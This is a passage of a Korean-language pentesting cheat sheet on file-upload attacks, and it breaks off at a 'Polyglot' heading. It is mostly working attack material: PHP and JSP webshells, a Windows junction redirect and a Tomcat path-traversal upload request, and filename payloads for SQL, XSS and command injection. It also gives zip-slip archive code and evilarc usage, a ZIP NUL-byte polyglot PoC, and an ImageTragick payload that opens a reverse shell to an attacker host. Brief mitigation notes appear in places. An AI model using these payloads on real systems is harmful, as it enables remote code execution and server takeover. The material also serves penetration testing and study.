(ģ“ ź³µź²©ģ„ ģˆ˜ķ–‰ķ•˜ė ¤ė©“ 핓당 Windows 머신에 딜컬 ģ•”ģ„øģŠ¤ź°€ ķ•„ģš”ķ•©ė‹ˆė‹¤) Windowsģ—ģ„œ ģ—…ė”œė“œź°€ ģ‚¬ģš©ģžė³„ ķ•˜ģœ„ ķ“ė”(예: C:\Windows\Tasks\Uploads<id>) ģ•„ėž˜ģ— ģ €ģž„ė˜ź³  핓당 ķ•˜ģœ„ ķ“ė”ģ˜ ģƒģ„±/ģ‚­ģ œė„¼ ģ œģ–“ķ•  수 ģžˆė‹¤ė©“, ģ“ė„¼ ėÆ¼ź°ķ•œ ģœ„ģ¹˜(예: the webroot)넼 ź°€ė¦¬ķ‚¤ėŠ” directory junction으딜 교첓할 수 ģžˆģŠµė‹ˆė‹¤. ģ“ķ›„ ģ—…ė”œė“œėœ ķŒŒģ¼ģ€ ėŒ€ģƒ ź²½ė”œģ— źø°ė”ė˜ė©°, ėŒ€ģƒģ“ ģ„œė²„ ģø” ģ½”ė“œė„¼ ķ•“ģ„ķ•˜ėŠ” 경우 ģ½”ė“œ ģ‹¤ķ–‰ģ„ ź°€ėŠ„ķ•˜ź²Œ ķ•©ė‹ˆė‹¤.

Example flow to redirect uploads into XAMPP webroot:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

ė…øķŠø

  • mklink /J creates an NTFS directory junction (reparse point). 웹 ģ„œė²„ģ˜ ź³„ģ •ģ€ junctionģ„ ė”°ė¼ź°€ģ•¼ ķ•˜ė©° 목적지에 ėŒ€ķ•œ ģ“°źø° ź¶Œķ•œģ“ ģžˆģ–“ģ•¼ ķ•©ė‹ˆė‹¤.
  • ģ“ėŠ” ģž„ģ˜ģ˜ ķŒŒģ¼ 쓰기넼 ė¦¬ė””ė ‰ģ…˜ķ•©ė‹ˆė‹¤; 목적지가 스크립트(PHP/ASP)넼 ģ‹¤ķ–‰ķ•˜ė©“ RCEź°€ ė©ė‹ˆė‹¤.
  • ėŒ€ģ‘ģ±…: writable upload roots넼 ź³µź²©ģžź°€ ģ œģ–“ķ•  수 ģžˆė„ė” C:\Windows\Tasks ģ•„ėž˜ ė˜ėŠ” ģœ ģ‚¬ķ•œ ģœ„ģ¹˜ģ— 두지 말 것; junction ģƒģ„± 차단; ģ„œė²„ā€‘ģ‚¬ģ“ė“œģ—ģ„œ ķ™•ģž„ģž ź²€ģ¦; ģ—…ė”œė“œė„¼ ė³„ė„ 볼넨에 ģ €ģž„ķ•˜ź±°ė‚˜ deny‑execute ACLs넼 적용.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

ģ¼ė¶€ upload/ingest handlersėŠ” ģ›ģ‹œ ģš”ģ²­ 바디넼 ģ‚¬ģš©ģž ģ œģ–“ query ķŒŒė¼ėÆøķ„°ė”œ źµ¬ģ„±ėœ ķŒŒģ¼ģ‹œģŠ¤ķ…œ ź²½ė”œģ— źø°ė”ķ•©ė‹ˆė‹¤. ķ•øė“¤ėŸ¬ź°€ Content-Encoding: gzipģ„ ģ§€ģ›ķ•˜ź³  destination 경딜넼 ģ •ź·œķ™”/ź²€ģ¦ķ•˜ģ§€ ģ•Šģœ¼ė©“, directory traversalź³¼ gzipped ķŽ˜ģ“ė”œė“œė„¼ ź²°ķ•©ķ•˜ģ—¬ ģ›¹ģœ¼ė”œ ģ„œė¹™ė˜ėŠ” 디렉터리에 ģž„ģ˜ ė°”ģ“ķŠøė„¼ źø°ė”ķ•˜ź³  RCE넼 ģ–»ģ„ 수 ģžˆģŠµė‹ˆė‹¤(예: Tomcatģ˜ webapps ģ•„ėž˜ģ— JSP넼 배치).

ģ¼ė°˜ģ ģø ģµģŠ¤ķ”Œė”œģž‡ ķė¦„:

  • ģ„œė²„ā€‘ģ‚¬ģ“ė“œ ķŽ˜ģ“ė”œė“œ(예: minimal JSP webshell)넼 ģ¤€ė¹„ķ•˜ź³  ė°”ģ“ķŠøė„¼ gzip으딜 ģ••ģ¶•ķ•©ė‹ˆė‹¤.
  • 경딜 ķŒŒė¼ėÆøķ„°(예: token)에 ģ˜ė„ėœ ķ“ė”ė„¼ ė²—ģ–“ė‚˜ėŠ” traversalģ„ ķ¬ķ•Øģ‹œķ‚¤ź³  fileģ“ ģ €ģž„ķ•  ķŒŒģ¼ėŖ…ģ„ ź°€ė¦¬ķ‚¤ėŠ” POST넼 ė³“ėƒ…ė‹ˆė‹¤. Content-Type: application/octet-stream ė° Content-Encoding: gzipģ„ ģ„¤ģ •ķ•˜ź³ , ė°”ė””ģ—ėŠ” ģ••ģ¶•ėœ ķŽ˜ģ“ė”œė“œė„¼ ė„£ģŠµė‹ˆė‹¤.
  • ģž‘ģ„±ėœ ķŒŒģ¼ė”œ ģ ‘ģ†ķ•˜ģ—¬ ģ‹¤ķ–‰ģ„ ķŠøė¦¬ź±°ķ•©ė‹ˆė‹¤.

Illustrative request:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

그런 ė‹¤ģŒ 트리거:

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

ė…øķŠø

  • ģ„¤ģ¹˜ ķ™˜ź²½ģ— ė”°ė¼ ėŒ€ģƒ ź²½ė”œėŠ” ė‹¬ė¼ģ§‘ė‹ˆė‹¤(예: /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). JSP넼 ģ‹¤ķ–‰ķ•˜ėŠ” 웹 ė…øģ¶œ ķ“ė”ė¼ė©“ ģ–“ė–¤ ź²ƒģ“ė“  ģž‘ė™ķ•©ė‹ˆė‹¤.
  • Burp Suite’s Hackvertor extensionģ€ ķŽ˜ģ“ė”œė“œė”œė¶€ķ„° ģ˜¬ė°”ė„ø gzip body넼 ģƒģ„±ķ•  수 ģžˆģŠµė‹ˆė‹¤.
  • ģ“ź²ƒģ€ ģˆœģˆ˜ķ•œ pre-auth arbitrary file write → RCE ķŒØķ„“ģ“ė©°, multipart parsing에 ģ˜ģ”“ķ•˜ģ§€ ģ•ŠģŠµė‹ˆė‹¤.

완화 방법

  • ģ—…ė”œė“œ ėŒ€ģƒģ€ ģ„œė²„ ģø”ģ—ģ„œ ź²°ģ •ķ•˜ģ„øģš”; ķ“ė¼ģ“ģ–øķŠøģ˜ 경딜 ģ”°ź°ģ„ ģ ˆėŒ€ ģ‹ ė¢°ķ•˜ģ§€ ė§ˆģ„øģš”.
  • ķ•“ģ„ėœ 경딜넼 ģ •ź·œķ™”ķ•˜ź³ , ķ—ˆģš©ėœ źø°ė³ø 디렉토리 낓에 ėØøė¬¼ė„ė” ź°•ģ œķ•˜ģ„øģš”.
  • ģ—…ė”œė“œ ķŒŒģ¼ģ€ 실행 ė¶ˆź°€ėŠ„ķ•œ 볼넨에 ģ €ģž„ķ•˜ź³ , ģ“°źø° ź°€ėŠ„ķ•œ ź²½ė”œģ—ģ„œ 스크립트 ģ‹¤ķ–‰ģ„ źøˆģ§€ķ•˜ģ„øģš”.

ė„źµ¬

  • Upload Bypass ėŠ” file upload ė©”ģ»¤ė‹ˆģ¦˜ ķ…ŒģŠ¤ķŠøģ—ģ„œ Pentesters ė° Bug Hunters넼 ģ§€ģ›ķ•˜ė„ė” ģ„¤ź³„ėœ ź°•ė „ķ•œ ė„źµ¬ģž…ė‹ˆė‹¤. ģ—¬ėŸ¬ bug bounty źø°ė²•ģ„ ķ™œģš©ķ•“ 취약점 ģ‹ė³„ ė° ģµģŠ¤ķ”Œė”œģž‡ ź³¼ģ •ģ„ ė‹Øģˆœķ™”ķ•˜ź³  웹 ģ• ķ”Œė¦¬ģ¼€ģ“ģ…˜ģ˜ ģ² ģ €ķ•œ ķ‰ź°€ė„¼ ė³“ģž„ķ•©ė‹ˆė‹¤.

Corrupting upload indices with snprintf quirks (historical)

ģ¼ė¶€ ė ˆź±°ģ‹œ upload ķ•øė“¤ėŸ¬ėŠ” snprintf() ė˜ėŠ” ģœ ģ‚¬ķ•œ ķ•Øģˆ˜ė„¼ ģ‚¬ģš©ķ•“ ė‹Øģ¼ ķŒŒģ¼ ģ—…ė”œė“œė”œė¶€ķ„° multi-file ė°°ģ—“ģ„ źµ¬ģ„±ķ•˜ėŠ”ė°, ģ“ė„¼ źµė¬˜ķžˆ ģ†ģ—¬ _FILES 구씰넼 ģœ„ģ”°ķ•˜ė„ė” ė§Œė“¤ 수 ģžˆģŠµė‹ˆė‹¤. snprintf() ė™ģž‘ģ˜ ė¶ˆģ¼ģ¹˜ģ™€ ģž˜ė¦¼(truncation) ė•Œė¬øģ— ģ •źµķ•˜ź²Œ ģ”°ģž‘ėœ ė‹Øģ¼ ģ—…ė”œė“œź°€ ģ„œė²„ ģø”ģ—ģ„œ ģ—¬ėŸ¬ ģøė±ģŠ¤ķ™”ėœ ķŒŒģ¼ģ²˜ėŸ¼ ė³“ģ¼ 수 ģžˆģ–“, ģ—„ź²©ķ•œ ķ˜•ķƒœė„¼ ź°€ģ •ķ•˜ėŠ” 딜직(e.g., multi-file upload딜 ģ²˜ė¦¬ķ•˜ģ—¬ ģ•ˆģ „ķ•˜ģ§€ ģ•Šģ€ 분기넼 ķƒķ•˜ėŠ” 경우)ģ„ ķ˜¼ėž€ģ‹œķ‚µė‹ˆė‹¤. ģ˜¤ėŠ˜ė‚ ģ—ėŠ” ķ‹ˆģƒˆ ģ‚¬ė”€ģ§€ė§Œ ģ“ ā€œindex corruptionā€ ķŒØķ„“ģ€ 가끔 CTFsė‚˜ ģ˜¤ėž˜ėœ ģ½”ė“œė² ģ“ģŠ¤ģ—ģ„œ ė‹¤ģ‹œ ė“±ģž„ķ•©ė‹ˆė‹¤.

From File upload to other vulnerabilities

  • filenameģ„ ../../../tmp/lol.png딜 ģ„¤ģ •ķ•˜ź³  path traversalģ„ ģ‹œė„ķ•˜ģ„øģš”
  • filenameģ„ sleep(10)-- -.jpg딜 ģ„¤ģ •ķ•˜ė©“ SQL injectionģ„ 달성할 수 ģžˆģŠµė‹ˆė‹¤
  • filenameģ„ <svg onload=alert(document.domain)>딜 ģ„¤ģ •ķ•˜ė©“ XSS넼 달성할 수 ģžˆģŠµė‹ˆė‹¤
  • filenameģ„ ; sleep 10;딜 ģ„¤ģ •ķ•˜ģ—¬ ģ¼ė¶€ command injectionģ„ ķ…ŒģŠ¤ķŠøķ•˜ģ„øģš” (more command injections tricks here)
  • XSS in image (svg) file upload
  • JS file upload + XSS = Service Workers exploitation
  • XXE in svg upload
  • Open Redirect via uploading svg file
  • Try different svg payloads from https://github.com/allanlw/svg-cheatsheet
  • Famous ImageTrick vulnerability
  • ė§Œģ•½ 웹 ģ„œė²„ģ— ķŠ¹ģ • URLģ—ģ„œ ģ“ėÆøģ§€ė„¼ ź°€ģ øģ˜¤ė„ė” ģ§€ģ‹œķ•  수 ģžˆė‹¤ė©“, SSRF넼 ģ•…ģš©ķ•“ė³¼ 수 ģžˆģŠµė‹ˆė‹¤. ģ“ ģ“ėÆøģ§€ź°€ ģ–“ė–¤ 공개 ģ‚¬ģ“ķŠøģ— ģ €ģž„ė  경우, https://iplogger.org/invisible/ģ˜ URLģ„ ģ§€ģ •ķ•˜ģ—¬ ėŖØė“  ė°©ė¬øģžģ˜ 정볓넼 훔칠 ģˆ˜ė„ ģžˆģŠµė‹ˆė‹¤.
  • XXE and CORS bypass with PDF-Adobe upload
  • 특수 ģ œģž‘ėœ PDF딜 XSS: ė‹¤ģŒ ķŽ˜ģ“ģ§€ėŠ” inject PDF data to obtain JS execution넼 ģ„¤ėŖ…ķ•©ė‹ˆė‹¤. PDF넼 ģ—…ė”œė“œķ•  수 ģžˆė‹¤ė©“ 주얓진 지침에 ė”°ė¼ ģž„ģ˜ģ˜ JS넼 ģ‹¤ķ–‰ķ•˜ėŠ” PDF넼 준비할 수 ģžˆģŠµė‹ˆė‹¤.
  • Upload the [eicar](https://secure.eicar.org/eicar.com.txt) content to check if the server has any antivirus
  • ķŒŒģ¼ ģ—…ė”œė“œ ģ‹œ size limitģ“ ģžˆėŠ”ģ§€ ķ™•ģøķ•˜ģ„øģš”

ė‹¤ģŒģ€ ģ—…ė”œė“œė”œ 달성할 수 ģžˆėŠ” ģƒģœ„ 10ź°€ģ§€ģž…ė‹ˆė‹¤ (출처: here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

다넸 ķŒŒģ¼ ģœ ķ˜•ģ€ https://en.wikipedia.org/wiki/List_of_file_signatures 넼 ģ°øź³ ķ•˜ģ„øģš”.

Zip/Tar File Automatically decompressed Upload

ģ„œė²„ ė‚“ė¶€ģ—ģ„œ ģ••ģ¶• ķ•“ģ œė  ZIPģ„ ģ—…ė”œė“œķ•  수 ģžˆė‹¤ė©“, ė‹¤ģŒ 두 가지넼 ģ‹œė„ķ•  수 ģžˆģŠµė‹ˆė‹¤:

다넸 ķŒŒģ¼ģ— ėŒ€ķ•œ 심볼릭 링크넼 ķ¬ķ•Øķ•œ 링크넼 ģ—…ė”œė“œķ•˜ė©“, ģ••ģ¶• ķ•“ģ œėœ ķŒŒģ¼ģ— 접근할 ė•Œ 링크된 ķŒŒģ¼ģ— ģ ‘ź·¼ķ•˜ź²Œ ė©ė‹ˆė‹¤:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

다넸 ķ“ė”ģ— ģ••ģ¶• ķ•“ģ œ

ģ••ģ¶• ķ•“ģ œ ź³¼ģ •ģ—ģ„œ 디렉토리에 ķŒŒģ¼ģ“ 예기치 ģ•Šź²Œ ģƒģ„±ė˜ėŠ” ė¬øģ œėŠ” ģ‹¬ź°ķ•©ė‹ˆė‹¤. ģ“ 구씰가 악성 ķŒŒģ¼ ģ—…ė”œė“œė„¼ ķ†µķ•œ OS ģˆ˜ģ¤€ģ˜ ėŖ…ė ¹ ģ‹¤ķ–‰ģœ¼ė”œė¶€ķ„° ė³“ķ˜øķ•  ź²ƒģ“ė¼ėŠ” ģ“ˆė°˜ģ˜ 가정과 달리, ZIP ģ•„ģ¹“ģ“ėøŒ ķ¬ė§·ģ˜ 계층적 ģ••ģ¶• 지원과 디렉토리 ķŠøėž˜ė²„ģ„¤ źø°ėŠ„ģ„ ģ•…ģš©ķ•  수 ģžˆģŠµė‹ˆė‹¤. ģ“ė„¼ 통핓 ź³µź²©ģžėŠ” ģ••ģ¶• ķ•“ģ œ źø°ėŠ„ģ„ ģ”°ģž‘ķ•˜ģ—¬ ģ œķ•œģ„ ģš°ķšŒķ•˜ź³  ģ•ˆģ „ķ•œ ģ—…ė”œė“œ 디렉토리 ė°–ģœ¼ė”œ ė²—ģ–“ė‚  수 ģžˆģŠµė‹ˆė‹¤.

ģ“ėŸ¬ķ•œ ķŒŒģ¼ģ„ ģ œģž‘ķ•˜źø° ģœ„ķ•œ ģžė™ķ™”ėœ ģµģŠ¤ķ”Œė”œģž‡ģ€ evilarc on GitHubģ—ģ„œ ģ“ģš©ķ•  수 ģžˆģŠµė‹ˆė‹¤. ģœ ķ‹øė¦¬ķ‹° ģ‚¬ģš© ģ˜ˆģ‹œėŠ” ė‹¤ģŒź³¼ ź°™ģŠµė‹ˆė‹¤:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

ė˜ķ•œ, symlink trick with evilarcėŠ” ķ•˜ė‚˜ģ˜ ģ˜µģ…˜ģž…ė‹ˆė‹¤. ėŖ©ķ‘œź°€ /flag.txt ź°™ģ€ ķŒŒģ¼ģ„ ķƒ€ź¹ƒģœ¼ė”œ ķ•˜ėŠ” ź²ƒģ“ė¼ė©“, 핓당 ķŒŒģ¼ė”œģ˜ symlink넼 ģ‹œģŠ¤ķ…œģ— ģƒģ„±ķ•“ģ•¼ ķ•©ė‹ˆė‹¤. ģ“ėŠ” evilarcź°€ ė™ģž‘ 중 오넘넼 ź²Ŗģ§€ ģ•Šė„ė” ė³“ģž„ķ•©ė‹ˆė‹¤.

ģ•„ėž˜ėŠ” 악성 zip ķŒŒģ¼ģ„ ģƒģ„±ķ•˜źø° ģœ„ķ•“ ģ‚¬ģš©ėœ Python ģ½”ė“œģ˜ ģ˜ˆģž…ė‹ˆė‹¤:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusing compression for file spraying

ģžģ„øķ•œ ė‚“ģš©ģ€ 원문 ź²Œģ‹œė¬¼ģ„ ķ™•ģøķ•˜ģ„øģš”: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: PHP ģ½”ė“œėŠ” $_REQUEST ė³€ģˆ˜ė”œ ģ „ė‹¬ėœ ėŖ…ė ¹ģ„ ģ‹¤ķ–‰ķ•˜ė„ė” ģž‘ģ„±ėœė‹¤.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: ģ—¬ėŸ¬ ķŒŒģ¼ģ„ ģƒģ„±ķ•˜ź³  ģ“ ķŒŒģ¼ė“¤ģ„ ķ¬ķ•Øķ•˜ėŠ” zip ģ•„ģ¹“ģ“ėøŒė„¼ ė§Œė“ ė‹¤.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: zip ė‚“ė¶€ģ˜ ķŒŒģ¼ ģ“ė¦„ģ„ vi ė˜ėŠ” ķ—„ģŠ¤ ķŽøģ§‘źø°ė”œ ė³€ź²½ķ•˜ģ—¬ 디렉토리 ķŠøėž˜ė²„ģŠ¤ė„¼ ģœ„ķ•“ ā€œxxAā€œė„¼ ā€œ../ā€œė”œ 바꾼다.
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

ė°±ģ—”ė“œź°€ PHPģ˜ ZipArchive딜 ZIP ģ—”ķŠøė¦¬ė„¼ ź²€ģ¦ķ•˜ģ§€ė§Œ, ģ¶”ģ¶œ ģ‹œ ķŒŒģ¼ ģ‹œģŠ¤ķ…œģ— raw names딜 źø°ė”ķ•˜ė©“, ķŒŒģ¼ėŖ… ķ•„ė“œģ— NUL (0x00)ģ„ ģ‚½ģž…ķ•“ ķ—ˆģš©ė˜ģ§€ ģ•ŠėŠ” ķ™•ģž„ģžė„¼ ģŠ¤ėØøźø€ķ•  수 ģžˆė‹¤. ZipArchiveėŠ” ģ—”ķŠøė¦¬ ģ“ė¦„ģ„ C‑string으딜 취급핓 첫 번째 NULģ—ģ„œ ģž˜ė¼ė‚“ģ§€ė§Œ, ķŒŒģ¼ģ‹œģŠ¤ķ…œģ€ NUL ė’¤ģ˜ ė‚“ģš©ģ„ ķ¬ķ•Øķ•œ 전첓 ģ“ė¦„ģ„ źø°ė”ķ•œė‹¤.

High-level flow:

  • ģ •ģƒģ ģø ģ»Øķ…Œģ“ė„ˆ ķŒŒģ¼(예: ģœ ķšØķ•œ PDF)ģ„ ģ¤€ė¹„ķ•˜ź³ , magic/MIMEź°€ PDF딜 ģœ ģ§€ė˜ė„ė” ģŠ¤ķŠøė¦¼ģ— ģž‘ģ€ PHP ģŠ¤ķ…ģ„ ģž„ė² ė“œķ•œė‹¤.
  • ķŒŒģ¼ ģ“ė¦„ģ„ shell.php..pdf처럼 ģ •ķ•˜ź³ , zip으딜 ģ••ģ¶•ķ•œ ė‹¤ģŒ ZIP 딜컬 ķ—¤ė”ģ™€ 중앙 디렉터리 ķŒŒģ¼ėŖ…ģ„ ķ—„ģŠ¤ ķŽøģ§‘ķ•˜ģ—¬ .php ė‹¤ģŒģ˜ 첫 번째 .넼 0x00으딜 źµģ²“ķ•˜ė©“ shell.php\x00.pdfź°€ ėœė‹¤.
  • ZipArchive에 ģ˜ģ”“ķ•˜ėŠ” ź²€ģ¦źø°ėŠ” shell.php .pdf딜 ā€˜ė³“ģ—¬ā€™ ķ—ˆģš©ķ•˜ź³ , ģ¶”ģ¶œźø°ėŠ” shell.php넼 ė””ģŠ¤ķ¬ģ— źø°ė”ķ•“ ģ—…ė”œė“œ ķ“ė”ź°€ 실행 ź°€ėŠ„ķ•˜ė©“ RCE딜 ģ“ģ–“ģ§„ė‹¤.

Minimal PoC steps:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

ė…øķŠø

  • ķŒŒģ¼ ģ“ė¦„ģ“ ģ‚¬ģš©ė˜ėŠ” 두 ź³³(딜컬 ė° 중앙 디렉터리)ģ„ 모두 ė³€ź²½ķ•˜ģ„øģš”. ģ¼ė¶€ ė„źµ¬ėŠ” 추가 data descriptor ķ•­ėŖ©ģ„ ė” ģ¶”ź°€ķ•˜źø°ė„ ķ•˜ėÆ€ė”œ, ģ”“ģž¬ķ•˜ė©“ ėŖØė“  name ķ•„ė“œė„¼ ģ”°ģ •ķ•˜ģ„øģš”.
  • payload ķŒŒģ¼ģ€ ģ—¬ģ „ķžˆ ģ„œė²„ ģø” magic/MIME sniffingģ„ 통과핓야 ķ•©ė‹ˆė‹¤. PHP넼 PDF ģŠ¤ķŠøė¦¼ģ— ģž„ė² ė”©ķ•˜ė©“ ķ—¤ė”ź°€ ģœ ķšØķ•œ 상태딜 ģœ ģ§€ė©ė‹ˆė‹¤.
  • enum/validation ź²½ė”œģ™€ extraction/write ź²½ė”œź°€ ė¬øģžģ—“ 처리 ė°©ģ‹ģ—ģ„œ ė¶ˆģ¼ģ¹˜ķ•˜ėŠ” ź²½ģš°ģ— ģž‘ė™ķ•©ė‹ˆė‹¤.

중첩/ģ—°ź²°ėœ ZIPs (ķŒŒģ„œ ė¶ˆģ¼ģ¹˜)

두 ź°œģ˜ ģœ ķšØķ•œ ZIP ķŒŒģ¼ģ„ ģ—°ź²°ķ•˜ė©“, ģ„œė”œ 다넸 ķŒŒģ„œź°€ ģ„œė”œ 다넸 EOCD ė ˆģ½”ė“œė„¼ ģ°øģ”°ķ•˜ėŠ” blobģ“ ģƒģ„±ė©ė‹ˆė‹¤. ė§Žģ€ ė„źµ¬ėŠ” ė§ˆģ§€ė§‰ End Of Central Directory (EOCD)넼 ģ°¾ėŠ” 반멓, ģ¼ė¶€ ė¼ģ“ėøŒėŸ¬ė¦¬(예: ķŠ¹ģ • ģ›Œķ¬ķ”Œė”œģš°ģ˜ ZipArchive)ėŠ” ė°œź²¬ķ•œ 첫 번째 ģ•„ģ¹“ģ“ėøŒė„¼ ķŒŒģ‹±ķ•  수 ģžˆģŠµė‹ˆė‹¤. ź²€ģ¦ģ“ 첫 번째 ģ•„ģ¹“ģ“ėøŒė„¼ ģ—“ź±°ķ•˜ėŠ” ė™ģ•ˆ ģ¶”ģ¶œģ“ ė§ˆģ§€ė§‰ EOCD넼 ė”°ė„“ėŠ” 다넸 ė„źµ¬ė”œ ģˆ˜ķ–‰ė˜ė©“, ģ •ģƒģ ģø ģ•„ģ¹“ģ“ėøŒėŠ” 검사 ķ•­ėŖ©ģ„ ķ†µź³¼ķ•˜ėŠ” 반멓 ģ•…ģ˜ģ ģø ģ•„ģ¹“ģ“ėøŒź°€ ģ¶”ģ¶œė  수 ģžˆģŠµė‹ˆė‹¤.

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

ģ•…ģš© ķŒØķ„“

  • ķ—ˆģš©ė˜ėŠ” ķ˜•ģ‹(예: PDF)ģ˜ ģ •ģƒ ģ•„ģ¹“ģ“ėøŒ ķ•˜ė‚˜ģ™€ ģ°Øė‹Øėœ ķ™•ģž„ģžė„¼ ķ¬ķ•Øķ•œ 두 번째 ģ•„ģ¹“ģ“ėøŒ(예: shell.php)넼 ė§Œė“­ė‹ˆė‹¤.
  • ģ“ė“¤ģ„ ģ“ģ–“ė¶™ģž…ė‹ˆė‹¤: cat benign.zip evil.zip > combined.zip.
  • ģ„œė²„ź°€ ķ•œ ķŒŒģ„œė”œėŠ” ź²€ģ¦(benign.zip딜 ģøģ‹)ķ•˜ģ§€ė§Œ 다넸 ķŒŒģ„œė”œėŠ” ģ••ģ¶•ģ„ 풀얓(evil.zipģ„ 처리) ģ°Øė‹Øėœ ķŒŒģ¼ģ“ ģ¶”ģ¶œ ź²½ė”œģ— ė†“ģ“ź²Œ ė©ė‹ˆė‹¤.

ImageTragic

ģ“ 취약점 (ImageMagick , 7.0.1-1) ģ„ ģ•…ģš©ķ•˜ė ¤ė©“ ģ“ėÆøģ§€ ķ™•ģž„ģžė”œ ģ“ ė‚“ģš©ģ„ ģ—…ė”œė“œķ•˜ģ„øģš” (핓당 exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNG에 PHP Shell ģ‚½ģž…

PNG ķŒŒģ¼ģ˜ IDAT 청크에 PHP Shellģ„ ģ‚½ģž…ķ•˜ė©“ ķŠ¹ģ • ģ“ėÆøģ§€ 처리 ģž‘ģ—…ģ„ 효과적으딜 ģš°ķšŒķ•  수 ģžˆģŠµė‹ˆė‹¤. PHP-GDģ˜ imagecopyresized ė° imagecopyresampled ķ•Øģˆ˜ėŠ” 각각 ģ“ėÆøģ§€ ė¦¬ģ‚¬ģ“ģ§•ź³¼ ė¦¬ģƒ˜ķ”Œė§ģ— ķ”ķžˆ ģ‚¬ģš©ė˜ėÆ€ė”œ ģ“ ė§„ė½ģ—ģ„œ ķŠ¹ķžˆ ź“€ė Øģ“ ķ½ė‹ˆė‹¤. ģ‚½ģž…ėœ PHP Shellģ“ ģ“ėŸ¬ķ•œ ģž‘ģ—…ģ—ė„ ģ˜ķ–„ģ„ 받지 ģ•Šź³  남아 ģžˆģ„ 수 ģžˆė‹¤ėŠ” ģ ģ€ ķŠ¹ģ • ģƒķ™©ģ—ģ„œ 큰 ģ“ģ ģž…ė‹ˆė‹¤.

ģ“ źø°ė²•ģ˜ 방법딠과 ģž ģž¬ģ  ģ‘ģš©ģ„ ķ¬ķ•Øķ•œ ģžģ„øķ•œ ė¶„ģ„ģ€ ė‹¤ģŒ 글에 ģ œź³µė©ė‹ˆė‹¤: ā€œEncoding Web Shells in PNG IDAT chunksā€. ģ“ ģžė£ŒėŠ” ķ”„ė”œģ„øģŠ¤ģ™€ ź·ø ģ˜ķ–„ģ— ėŒ€ķ•œ ķ¬ź“„ģ ģø ģ“ķ•“ė„¼ ģ œź³µķ•©ė‹ˆė‹¤.

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot ķŒŒģ¼

